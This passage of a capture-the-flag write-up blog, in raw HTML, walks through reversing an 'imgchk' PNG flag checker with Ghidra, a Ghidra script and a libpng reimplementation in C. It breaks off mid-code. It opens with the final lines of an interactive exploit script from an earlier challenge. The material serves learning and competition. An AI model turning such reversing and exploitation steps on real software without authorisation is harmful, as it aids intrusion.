punctuation\">.</span>clean<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 536px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8aaf8875c237afef60cf0de1b2958c98/2d920/image-20231112215701257.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 77.08333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVQ4y52T627aQBCFLVVNQlO10KImadpwv7mAAWNsMGCbS7ANNhBCUqnK+z/G6cy6kKZKJZIfq531as/Md2YsWcka3HgZq9IAa9WF812Dc9WBk+pgVhzAPGtAOcmh8S4vlhJ7jJ9bEgt6JBjkugiVKabZHq7zJia02yQ+K/SxqI6gfig9Ef6v4PBzFd4nGX7GwPBbG6O0TtXpGF6qmJJw/6KJ5mnhoOoiwWQVbiJCvmn7oipGHpEoVyeQYy9FTkTIQX2CaW6H3H1E/vEHOXYwcgXzHTJVxtgWxSzeP29EyKevQN5oc9gkxEt0+bXIPgmG+R7m1M3rZ5GdF3Q5GSH7GR02NWOcNjAmfBZj5AF1ufW+uO/0QR7OaA43VAUPtnmmwCTfBl9bQrBLBNW3KdSOM6ifZFE/zop4f6ZVO6KYzmyHNCKB+cciVgUT970ltuTjnR5g3ZwhrI3hly38GqyFDVpchk4FcBKDlhavoJOQhc8GfWcKqU7q/S91rOgvYRGXfreAvJzLjoj5j/FKQzrb4uxRAr9iCW/ZGk4UUGKO2Rqpe6FikjPxk6q7abkCk0dm1xAW4Ud8ZiG+k99cCfQdcvUoLSwQyG7RwtYIsVQmuNV8bNoe7rshPbYJfYEH+1bsLo+VGt3xoC+JiJEVEuQZ3TdlkdLw4GxRli5Fhp25PCJPdr7jx/To747/O5e/AZNiwu0zwaWzAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8aaf8875c237afef60cf0de1b2958c98/8ac56/image-20231112215701257.webp 240w,\n/static/8aaf8875c237afef60cf0de1b2958c98/d3be9/image-20231112215701257.webp 480w,\n/static/8aaf8875c237afef60cf0de1b2958c98/c5a1c/image-20231112215701257.webp 536w\"\n              sizes=\"(max-width: 536px) 100vw, 536px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8aaf8875c237afef60cf0de1b2958c98/8ff5a/image-20231112215701257.png 240w,\n/static/8aaf8875c237afef60cf0de1b2958c98/e85cb/image-20231112215701257.png 480w,\n/static/8aaf8875c237afef60cf0de1b2958c98/2d920/image-20231112215701257.png 536w\"\n            sizes=\"(max-width: 536px) 100vw, 536px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8aaf8875c237afef60cf0de1b2958c98/2d920/image-20231112215701257.png\"\n            alt=\"image-20231112215701257\"\n            title=\"image-20231112215701257\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"update-imgchkrev\" style=\"position:relative;\"><a href=\"#update-imgchkrev\" aria-label=\"update imgchkrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Update: imgchk(Rev)</h2>\n<blockquote>\n<p>Ordinal flag checker but not for text.</p>\n</blockquote>\n<p>When the challenge binary is decompiled in Ghidra, we can see that it is a program that takes the file path of <code class=\"language-text\">flag.png</code> from the command-line arguments and validates it with the <code class=\"language-text\">check_flag</code> function.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">undefined8 <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> param_1<span class=\"token punctuation\">,</span>undefined8 <span class=\"token operator\">*</span>param_2<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">int</span> iVar1<span class=\"token punctuation\">;</span>\n  undefined8 uVar2<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    iVar1 <span class=\"token operator\">=</span> <span class=\"token function\">check_flag</span><span class=\"token punctuation\">(</span>param_2<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>iVar1 <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Correct!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Wrong...\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    uVar2 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Usage: %s &lt;flag.png>\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token operator\">*</span>param_2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    uVar2 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> uVar2<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>So I tried looking at the <code class=\"language-text\">check_flag</code> function, but no decompiled result was displayed.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 933px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/69320922b4a716ae669986f76f1f95f8/dc616/image-20231114204036518.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 106.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAADHUlEQVQ4y41U2VIbSRDk/7/EL37w8g9+1OIAe5ARWiTNfd/Tx8zkZjWChQVjd0RFHzOdlVWV1Rebzd/YbDa4ubnBt6tvuL72cDqdaD6iKEacJkjzDGkSI01ln8H3T4hjH39dfsWnT1f4/NnDly8/cHnp4WJZFshYVyCNU0Rh4/bzskI+jVZBzxb/H+OoEIQ/uFrc3adx0fc95nmG1hpVWaEoOvfB2tnZZDS0NbxEB+sCISDrcRxwPMa8J2Qez+Z5xUVZlg5AAF8OcSKXnZGhAIzjCGOM++77Pu739269MBoBFHsDaJfZzV3XIc9TWoMoHlHXPZSangF3ux08zzsDPqXtBaAhoLUWdUcWliGVGuWpJasJVdthmiY6VViFDfPm/fSwvd2+AnQ5fAKclEbTtMzhhK4H1DBjqDWUXnm+ou1Wt9bmsUB3ZHh7e/sWsKpKJhsISoWMQDkt61ckzUyziCpNMzhlI/x8cv/lA3Dt7bDdbt8HnLk/FQoRmRwYatgs2EUtdmFPs7iLWVGCnXIFvzRI6fTq+08y9N4DrBygT6CoXnC3bxDkBsd0wsOhx/444e7Qum8Jw47pLKayjlGOgJV+KsZ/OSwKUD5kQO+FwSHSZLIgCBY83FO85cyQV4QEFOYSxUM5ISwbKiB/C1gQULbdyFDjDIegRT8BdWsQJiMGSqWnaapJ0bPMYm03IEmSt4ASstMf9ZXyB9+vMY2sOh30naacOpRNxjxZLOycxT5WeRwEMH0n5GdhG+QZ80KGdS3CNhgGAzUN7O+A0inQVC0Gtqq0mugzTX8DmMQJ+7OiiIWBQduyj8kw8COeGSdqe2YYhiFbb/8RoCYIczY8tqDM42jOfb2+7vOVGs0S188fAop3pSykXWW2Vl6RmWGzKFKY88vjGAYHHP7ZfxxyHEbY7yuXQ2HYNCyK6ZiGCHHUufwt58sDixK/V+WXgEVe8JXumTu4ggjoxLDDoCO4orQUHw71DPjLKsuBAKb84XhsIErqe8McWs4d7nc+ARsMWnQ5/jmgvNi5vA4carKUjqb+DOpqYOivC/MrwH8BdbxUuC3NoRIAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/69320922b4a716ae669986f76f1f95f8/8ac56/image-20231114204036518.webp 240w,\n/static/69320922b4a716ae669986f76f1f95f8/d3be9/image-20231114204036518.webp 480w,\n/static/69320922b4a716ae669986f76f1f95f8/5431c/image-20231114204036518.webp 933w\"\n              sizes=\"(max-width: 933px) 100vw, 933px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/69320922b4a716ae669986f76f1f95f8/8ff5a/image-20231114204036518.png 240w,\n/static/69320922b4a716ae669986f76f1f95f8/e85cb/image-20231114204036518.png 480w,\n/static/69320922b4a716ae669986f76f1f95f8/dc616/image-20231114204036518.png 933w\"\n            sizes=\"(max-width: 933px) 100vw, 933px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/69320922b4a716ae669986f76f1f95f8/dc616/image-20231114204036518.png\"\n            alt=\"image-20231114204036518\"\n            title=\"image-20231114204036518\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Apparently it avoids decompilation by repeatedly pushing the next block of code onto the stack in a ROP-like manner and then returning.</p>\n<p>However, by looking at each section in Ghidra, it was possible to view the decompiled results of the individual pieces.</p>\n<p>Fortunately, the function symbol names were left intact, so I used the following Ghidra script to enumerate the names of the functions called from the <code class=\"language-text\">check_flag</code> function.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> ghidra<span class=\"token punctuation\">.</span>program<span class=\"token punctuation\">.</span>flatapi <span class=\"token keyword\">import</span> FlatProgramAPI\n<span class=\"token keyword\">from</span> ghidra<span class=\"token punctuation\">.</span>program<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">.</span>address <span class=\"token keyword\">import</span> AddressSet\n\nlisting <span class=\"token operator\">=</span> currentProgram<span class=\"token punctuation\">.</span>getListing<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nfpapi <span class=\"token operator\">=</span> FlatProgramAPI<span class=\"token punctuation\">(</span>currentProgram<span class=\"token punctuation\">)</span>\nstart_addr <span class=\"token operator\">=</span> fpapi<span class=\"token punctuation\">.</span>toAddr<span class=\"token punctuation\">(</span><span class=\"token number\">0x1043c9</span><span class=\"token punctuation\">)</span>\nend_addr <span class=\"token operator\">=</span> fpapi<span class=\"token punctuation\">.</span>toAddr<span class=\"token punctuation\">(</span><span class=\"token number\">0x104825</span><span class=\"token punctuation\">)</span>\n\naddr_set <span class=\"token operator\">=</span> AddressSet<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\naddr_set<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>start_addr<span class=\"token punctuation\">,</span> end_addr<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> p <span class=\"token keyword\">in</span> listing<span class=\"token punctuation\">.</span>getInstructions<span class=\"token punctuation\">(</span>addr_set<span class=\"token punctuation\">,</span> <span class=\"token boolean\">True</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n\tcode <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>toString<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\t<span class=\"token keyword\">if</span> <span class=\"token string\">\"CALL\"</span> <span class=\"token keyword\">in</span> code<span class=\"token punctuation\">:</span>\n\t\tfunc_addr <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>code<span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n\t\tfpapi<span class=\"token punctuation\">.</span>getFunctionContaining<span class=\"token punctuation\">(</span>fpapi<span class=\"token punctuation\">.</span>toAddr<span class=\"token punctuation\">(</span>func_addr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>getName<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 613px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d7ee5eb130f6310873b9ea604f400387/5754a/image-20231114211206734.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 58.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9klEQVQoz61Si4qDMBDM/3/h+cqrjSmcUWjUHqiZZkN7aGlpD29gIVmS2ZndZYgIIaRYlgVCCORZDikkBOcoijzdlZSQUoHH3Mme4JoGzXcD5xy0UvB9T1Rg3ns8AxVYg4rdc3Se53kTlEuERayutcZBH6CURm3q9GCtfE3+WOhRBCNrdW1hjgbGGAzDcPsUNoSfRFJIyprYj7uqdyregWVfGaqySs12rsXl8rOx+2dCUmijZeqj4ALns99HWBYlrLVpFSjCTtusqjjaaLWN+9T3w8vpfkx4jNMlwq7rME3TLru3oeRRWY9xHH+Xc9eUSeF/rQzhCjkNq/ERc5b5AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d7ee5eb130f6310873b9ea604f400387/8ac56/image-20231114211206734.webp 240w,\n/static/d7ee5eb130f6310873b9ea604f400387/d3be9/image-20231114211206734.webp 480w,\n/static/d7ee5eb130f6310873b9ea604f400387/0abb1/image-20231114211206734.webp 613w\"\n              sizes=\"(max-width: 613px) 100vw, 613px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d7ee5eb130f6310873b9ea604f400387/8ff5a/image-20231114211206734.png 240w,\n/static/d7ee5eb130f6310873b9ea604f400387/e85cb/image-20231114211206734.png 480w,\n/static/d7ee5eb130f6310873b9ea604f400387/5754a/image-20231114211206734.png 613w\"\n            sizes=\"(max-width: 613px) 100vw, 613px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d7ee5eb130f6310873b9ea604f400387/5754a/image-20231114211206734.png\"\n            alt=\"image-20231114211206734\"\n            title=\"image-20231114211206734\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Just from the function names, we can guess that after performing several operations on the PNG file given as a command-line argument, the program hashes some value with MD5 and compares it.</p>\n<p>I checked the functions one by one.</p>\n<p>The first function called, <code class=\"language-text\">png_create_read_struct</code>, is a library function that initializes the <code class=\"language-text\">png_struct</code> structure.</p>\n<p>The following <code class=\"language-text\">png_create_info_struct</code> is also a library function that initializes the <code class=\"language-text\">png_info</code> structure.</p>\n<p>Reference: <a href=\"https://refspecs.linuxbase.org/LSB_3.1.0/LSB-Desktop-generic/LSB-Desktop-generic/libpng12.png.create.read.struct.1.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">png<em>create</em>read_struct</a></p>\n<p>Reference: <a href=\"https://refspecs.linuxbase.org/LSB_3.1.0/LSB-Desktop-generic/LSB-Desktop-generic/libpng12.png.create.info.struct.1.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">png<em>create</em>info_struct</a></p>\n<p>The next functions, <code class=\"language-text\">png_set_longjmp_fn</code> and <code class=\"language-text\">_setjmp</code>, appear to be library functions that define the <code class=\"language-text\">longjmp</code> used for exception handling when an error occurs while reading or writing PNG data.</p>\n<p>Reference: <a href=\"https://www.mm2d.net/main/prog/c/image_io-15.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">PNG Image Input and Output - Image File I/O - Hekiiro Kobo</a></p>\n<p>In addition, <code class=\"language-text\">png_init_io</code> and <code class=\"language-text\">png_read_info</code> are also library functions that read PNG file data into memory.</p>\n<p>Reference: <a href=\"https://refspecs.linuxbase.org/LSB_3.1.0/LSB-Desktop-generic/LSB-Desktop-generic/libpng12.png.init.io.1.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">png<em>init</em>io</a></p>\n<p>Reference: <a href=\"https://refspecs.linuxbase.org/LSB_3.1.0/LSB-Desktop-generic/LSB-Desktop-generic/libpng12.png.read.image.1.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">png<em>read</em>image</a></p>\n<p>By this point the rough idea is clear: even after <code class=\"language-text\">png_read_info</code>, libpng library functions continue to be used until the call to <code class=\"language-text\">png_read_image</code>.</p>\n<p>If we reimplement the overall flow up to this point in C, it looks like this.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">// gcc read_png.c -lpng</span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdlib.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;png.h></span></span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">read_png_file</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>filename<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    FILE <span class=\"token operator\">*</span>fp <span class=\"token operator\">=</span> <span class=\"token function\">fopen</span><span class=\"token punctuation\">(</span>filename<span class=\"token punctuation\">,</span> <span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>fp<span class=\"token punctuation\">)</span> <span class=\"token function\">abort</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    png_structp png <span class=\"token operator\">=</span> <span class=\"token function\">png_create_read_struct</span><span class=\"token punctuation\">(</span>PNG_LIBPNG_VER_STRING<span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>png<span class=\"token punctuation\">)</span> <span class=\"token function\">abort</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    png_infop info <span class=\"token operator\">=</span> <span class=\"token function\">png_create_info_struct</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>info<span class=\"token punctuation\">)</span> <span class=\"token function\">abort</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">setjmp</span><span class=\"token punctuation\">(</span><span class=\"token function\">png_jmpbuf</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token function\">abort</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">png_init_io</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> fp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">png_read_info</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">int</span> width <span class=\"token operator\">=</span> <span class=\"token function\">png_get_image_width</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">int</span> height <span class=\"token operator\">=</span> <span class=\"token function\">png_get_image_height</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    png_byte color_type <span class=\"token operator\">=</span> <span class=\"token function\">png_get_color_type</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    png_byte bit_depth <span class=\"token operator\">=</span> <span class=\"token function\">png_get_bit_depth</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Width: %d, Height: %d\\n\"</span><span class=\"token punctuation\">,</span> width<span class=\"token punctuation\">,</span> height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Color type: %d, Bit depth: %d\\n\"</span><span class=\"token punctuation\">,</span> color_type<span class=\"token punctuation\">,</span> bit_depth<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token class-name\">size_t</span> row_bytes <span class=\"token operator\">=</span> <span class=\"token function\">png_get_rowbytes</span><span class=\"token punctuation\">(</span>png<span class=\"token punctuation\">,</span> info<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Row bytes: %zu\\n\"</span><span class=\"token punctuation\">,</span> row_bytes<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">fclose</span><span class=\"token punctuation\">(</span>fp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>argv<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>argc <span class=\"token operator\">!=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">fprintf</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stderr</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Usage: %s &lt;file.png>\\n\"</span><span class=\"token punctuation\">,</span> argv<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>filename <span class=\"token operator\">=</span> argv<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">read_png_file</span><span class=\"token punctuation\">(</span>filename<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Running this lets us obtain information about the target PNG file.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 829px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9119fc4f85944e0c66399d9700ed55a4/9d76a/image-20231115202942736.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 10%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgElEQVQI103GQQuCMABAYY8bQQbSrWBZMZjDyQwsKcUyqUNBh6D+/w95iQR1+HgvOPuGyh0Gp7Si0Udq3eIijw1Tkq/hJw7bM6Ejn3rqWU4939Ct97TLEj/WBO/tnVdx4+mvPFxHqwouq5JdlJDJmEz8kT9OLEh6RiqMUEPtKOYDYR48AlWO7+sAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9119fc4f85944e0c66399d9700ed55a4/8ac56/image-20231115202942736.webp 240w,\n/static/9119fc4f85944e0c66399d9700ed55a4/d3be9/image-20231115202942736.webp 480w,\n/static/9119fc4f85944e0c66399d9700ed55a4/eb5c2/image-20231115202942736.webp 829w\"\n              sizes=\"(max-width: 829px) 100vw, 829px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9119fc4f85944e0c66399d9700ed55a4/8ff5a/image-20231115202942736.png 240w,\n/static/9119fc4f85944e0c66399d9700ed55a4/e85cb/image-20231115202942736.png 480w,\n/static/9119fc4f85944e0c66399d9700ed55a4/9d76a/image-20231115202942736.png 829w\"\n            sizes=\"(max-width: 829px) 100vw, 829px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9119fc4f85944e0c66399d9700ed55a4/9d76a/image-20231115202942736.png\"\n            alt=\"image-20231115202942736\"\n            title=\"image-20231115202942736\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Once I understood what each step was doing, I followed the flow up to the point where the <code class=\"language-text\">png_read_image</code> function is called.</p>\n<p>First, after <code class=\"language-text\">png_get_image_width</code> and <code class=\"language-text\">png_get_image_height</code> are executed, the code branches at the <code class=\"language-text\">Cake83</code> point.</p>\n<p>Here it checks whether the value obtained by <code class=\"language-text\">png_get_image_width</code> is <code class=\"language-text\">0x1e0</code> and the value obtained by <code class=\"language-text\">png_get_image_height</code> is <code class=\"language-text\">0x14</code>.</p>\n<p>If this check is passed, the code after <code class=\"language-text\">Cake104</code> verifies that the result of <code class=\"language-text\">png_get_color_type</code> is <code class=\"language-text\">0x0</code> and that the value of <code class=\"language-text\">png_get_bit_depth</code> is <code class=\"language-text\">1</code>.</p>\n<p>A <code class=\"language-text\">PNG_COLOR_TYPE</code> value of <code class=\"language-text\">0x0</code>, which can be obtained with the <code class=\"language-text\">png_get_color_type</code> function, means that the image is grayscale.</p>\n<p>Also, <code class=\"language-text\">png_get_bit_depth</code> obtains the number of bits per pixel.</p>\n<p>A PNG file like this can be generated with the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> PIL <span class=\"token keyword\">import</span> 